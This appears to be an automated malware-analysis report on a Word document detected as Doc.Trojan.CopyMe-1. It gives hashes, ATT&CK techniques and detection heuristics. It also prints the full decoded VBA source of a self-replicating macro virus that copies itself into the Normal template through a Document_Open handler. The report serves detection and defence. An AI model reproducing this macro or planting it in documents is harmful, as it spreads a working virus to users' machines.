Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 020ecb953ca2fe3a…

MALICIOUS

Office (OLE)

25.5 KB Created: 2002-08-22 02:47:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 2878164495d5db0528d87ef69a7939c3 SHA-1: 3a1399c2a62c4df9f6ab7e974f8abc1017a04458 SHA-256: 020ecb953ca2fe3a002ba21df1691c88931e3b162df1d0a2f31b8da9e6d2c307
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, including a Document_Open subroutine that calls a CopyMe subroutine. The CopyMe subroutine attempts to copy its own code into the Normal template and also attempts to ensure that the Document_Open subroutine is present in the Normal template, which would allow it to execute automatically when new documents are created. This indicates an attempt to establish persistence.

Heuristics 3

  • ClamAV: Doc.Trojan.CopyMe-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CopyMe-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1140 bytes
SHA-256: 4357e7885c19a9ce82a9d266b5fc69c76a11b08571cd939d08737ec3008dfa33
Detection
ClamAV: Doc.Trojan.CopyMe-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub CopyMe()
    On Error Resume Next

    Set m = MacroContainer.VBProject.VBComponents(1).CodeModule
    Set d = IIf(MacroContainer Is NormalTemplate, ActiveDocument.VBProject.VBComponents(1).CodeModule, NormalTemplate.VBProject.VBComponents(1).CodeModule)
    
    x = d.procbodyline("CopyMe", vbext_pk_proc)
    If IsEmpty(x) Then
        d.insertlines d.countoflines + 1, m.lines(m.procbodyline("CopyMe", vbext_pk_proc), m.proccountlines("CopyMe", vbext_pk_proc))

        y = d.procbodyline("Document_Open", vb_pk_proc)
        If IsEmpty(y) Then
            d.insertlines d.countoflines + 1, vbCrLf & "Private Sub Document_Open()" & vbCrLf & "    CopyMe" & vbCrLf & "End Sub"
        Else
            d.insertlines y + 1, "    CopyMe"
        End If
    End If
End Sub

Private Sub Document_Open()
    CopyMe
End Sub